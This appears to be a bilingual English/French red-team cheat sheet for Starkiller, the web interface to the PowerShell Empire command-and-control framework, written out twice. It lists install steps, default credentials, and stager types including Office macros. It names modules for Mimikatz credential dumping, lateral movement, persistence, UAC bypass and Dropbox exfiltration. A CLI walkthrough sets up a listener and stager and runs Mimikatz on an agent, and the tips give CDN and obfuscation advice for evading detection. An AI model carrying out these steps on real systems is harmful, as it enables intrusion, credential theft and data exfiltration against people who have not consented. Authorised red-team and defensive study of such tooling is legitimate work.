starkiller
Interface web GUI pour le framework C2 PowerShell Empire. Fournit une interface graphique pour gérer les listeners, stagers, agents et modules d'Empire. Web-based GUI frontend for PowerShell Empire C2 framework. Provides a graphical interface for managing Empire listeners, stagers, agents, and modules.
↗ https://github.com/BC-SECURITY/StarkillerOverview
Starkiller is the official web-based GUI for PowerShell Empire. It provides a visual interface for all Empire functionality — creating listeners, generating stagers, managing agents, running modules, and coordinating team red team operations. Replaces the older Empire CLI for most workflows.
Installation
# Starkiller is bundled with Empire 4.x+
# Install Empire (includes Starkiller)
git clone https://github.com/BC-SECURITY/Empire
cd Empire && ./setup/install.sh
Start Empire server
./ps-empire server
# Access Starkiller at: https://localhost:1337
# Default creds: empireadmin / password123
Getting Started
Start Empire server
./ps-empire server --host 0.0.0.0 --port 1337
Start Starkiller (usually auto-starts with Empire) Or install separately
npm install && npm run serve
# Login at: https://EMPIRE_HOST:1337
# Username: empireadmin
# Password: (set during install, default: password123)
Listeners
# In Starkiller GUI:
# Listeners → Create → Select type
# Common listener types:
# HTTP — standard HTTP listener
# HTTPS — encrypted HTTP listener
# HTTP-COM — COM-based (BlueKeep evasion)
# HTTP-MAPI — Exchange/Outlook-based
# METERPRETER — Metasploit reverse
# Configure options:
# Host, Port, StagingKey, DefaultDelay
# CertPath (for HTTPS)
Stagers
# Stagers → Create → Select stager
# Common stager types:
# windows/launcher_bat — .bat file delivery
# windows/launcher_vbs — VBScript
# windows/launcher_powershell — PS1 script
# multi/launcher — encoded PS command
# windows/macro — Office macro
# Generated stager is copied to clipboard or saved to file
Agents (Sessions)
# All connected agents appear in Agents panel
# Each agent shows:
# - Name, Host, User, Process
# - Internal/External IP
# - Language (PowerShell, Python, C#)
# - Last check-in time
# Right-click agent → Interact → opens task interface
# Run modules directly from agent view
Modules
# Modules → Browse → Search for module
# Common modules:
# situational_awareness/network/get_spn → Kerberoastable accounts
# collection/mimikatz/logonpasswords → Mimikatz credential dump
# lateral_movement/invoke_psremoting → PSRemoting lateral movement
# lateral_movement/invoke_smbexec → SMBExec lateral movement
# persistence/elevated/registry → Registry persistence
# privesc/bypassuac_env → UAC bypass
# exfiltration/exfil_dropbox → Exfil to Dropbox
Credentials
# Credentials panel aggregates:
# - Hashes captured by Mimikatz modules
# - Plaintext passwords from various modules
# - Kerberos tickets
# Export credentials to CSV/JSON for use with other tools
Tips
- Starkiller makes Empire accessible to team members who aren’t comfortable with CLI
- The Credentials panel is valuable for tracking all captured creds in one place
- Use HTTPS listener with a real cert + CDN for opsec
- Empire/Starkiller agents have high AV detection — consider obfuscation or alternative C2
Empire CLI Commands (fallback)
# If GUI is unavailable, use Empire CLI:
./ps-empire client
(Empire) > listeners
(Empire) > uselistener http
(Empire) > set Host http://10.10.10.50
(Empire) > execute
(Empire) > usestager windows/launcher_bat
(Empire) > set Listener http
(Empire) > execute
(Empire) > agents
(Empire) > interact <agent_name>
(Empire: agent) > usemodule collection/mimikatz/logonpasswords
(Empire: agent) > execute
Vue d’ensemble
Starkiller est l’interface graphique web officielle de PowerShell Empire. Elle fournit une interface visuelle pour toutes les fonctionnalités d’Empire : créer des listeners, générer des stagers, gérer des agents, lancer des modules, et coordonner des opérations red team en équipe. Remplace l’ancienne CLI d’Empire pour la plupart des workflows.
Installation
# Starkiller est fourni avec Empire 4.x+
# Installer Empire (inclut Starkiller)
git clone https://github.com/BC-SECURITY/Empire
cd Empire && ./setup/install.sh
Démarrer le serveur Empire
./ps-empire server
# Accéder à Starkiller sur : https://localhost:1337
# Identifiants par défaut : empireadmin / password123
Prise en main
# Démarrer le serveur Empire
./ps-empire server --host 0.0.0.0 --port 1337
# Démarrer Starkiller (démarre généralement automatiquement avec Empire)
# Ou l'installer séparément
npm install && npm run serve
# Se connecter sur : https://EMPIRE_HOST:1337
# Utilisateur : empireadmin
# Mot de passe : (défini pendant l'installation, par défaut : password123)
Listeners
# Dans l'interface Starkiller :
# Listeners → Create → sélectionner le type
# Types de listener courants :
# HTTP : listener HTTP standard
# HTTPS : listener HTTP chiffré
# HTTP-COM : basé sur COM (évasion BlueKeep)
# HTTP-MAPI : basé sur Exchange/Outlook
# METERPRETER : reverse Metasploit
# Configurer les options :
# Host, Port, StagingKey, DefaultDelay
# CertPath (pour HTTPS)
Stagers
# Stagers → Create → sélectionner le stager
# Types de stager courants :
# windows/launcher_bat : livraison par fichier .bat
# windows/launcher_vbs : VBScript
# windows/launcher_powershell : script PS1
# multi/launcher : commande PS encodée
# windows/macro : macro Office
# Le stager généré est copié dans le presse-papiers ou sauvegardé dans un fichier
Agents (sessions)
# Tous les agents connectés apparaissent dans le panneau Agents
# Chaque agent affiche :
# - Nom, Host, User, Process
# - IP interne/externe
# - Langage (PowerShell, Python, C#)
# - Dernier check-in
# Clic droit sur l'agent → Interact → ouvre l'interface de tâches
# Lancer des modules directement depuis la vue agent
Modules
# Modules → Browse → rechercher un module
# Modules courants :
# situational_awareness/network/get_spn → comptes Kerberoastables
# collection/mimikatz/logonpasswords → dump d'identifiants Mimikatz
# lateral_movement/invoke_psremoting → mouvement latéral via PSRemoting
# lateral_movement/invoke_smbexec → mouvement latéral via SMBExec
# persistence/elevated/registry → persistance via registre
# privesc/bypassuac_env → contournement UAC
# exfiltration/exfil_dropbox → exfiltration vers Dropbox
Identifiants
# Le panneau Credentials agrège :
# - Les hashes capturés par les modules Mimikatz
# - Les mots de passe en clair de divers modules
# - Les tickets Kerberos
# Exporter les identifiants en CSV/JSON pour utilisation avec d'autres outils
Conseils
- Starkiller rend Empire accessible aux membres de l’équipe qui ne sont pas à l’aise avec la CLI
- Le panneau Credentials est précieux pour suivre tous les identifiants capturés au même endroit
- Utiliser un listener HTTPS avec un vrai certificat + un CDN pour l’OPSEC
- Les agents Empire/Starkiller ont une forte détection AV : envisager l’obfuscation ou un C2 alternatif
Commandes CLI Empire (repli)
# If GUI is unavailable, use Empire CLI:
./ps-empire client
(Empire) > listeners
(Empire) > uselistener http
(Empire) > set Host http://10.10.10.50
(Empire) > execute
(Empire) > usestager windows/launcher_bat
(Empire) > set Listener http
(Empire) > execute
(Empire) > agents
(Empire) > interact <agent_name>
(Empire: agent) > usemodule collection/mimikatz/logonpasswords
(Empire: agent) > execute